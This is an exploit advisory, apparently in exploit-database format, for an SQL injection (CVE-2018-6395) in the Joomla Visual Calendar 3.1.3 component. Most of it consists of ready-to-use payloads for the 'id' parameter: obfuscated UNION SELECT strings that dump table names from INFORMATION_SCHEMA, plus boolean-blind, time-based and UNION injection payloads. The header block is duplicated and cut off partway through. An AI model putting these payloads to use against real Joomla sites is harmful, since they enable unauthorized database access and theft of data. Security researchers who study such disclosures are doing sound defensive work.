Joomla Visual Calendar 3.1.3 SQL Injection

# # # # #
# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software # # # # #
# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/
# Version: 3.1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6395
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL]
#
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
#
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
#
# Parameter: id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616
#
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5)
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 6 columns
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c73745863744b7955784a47534d58797158564a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd
#
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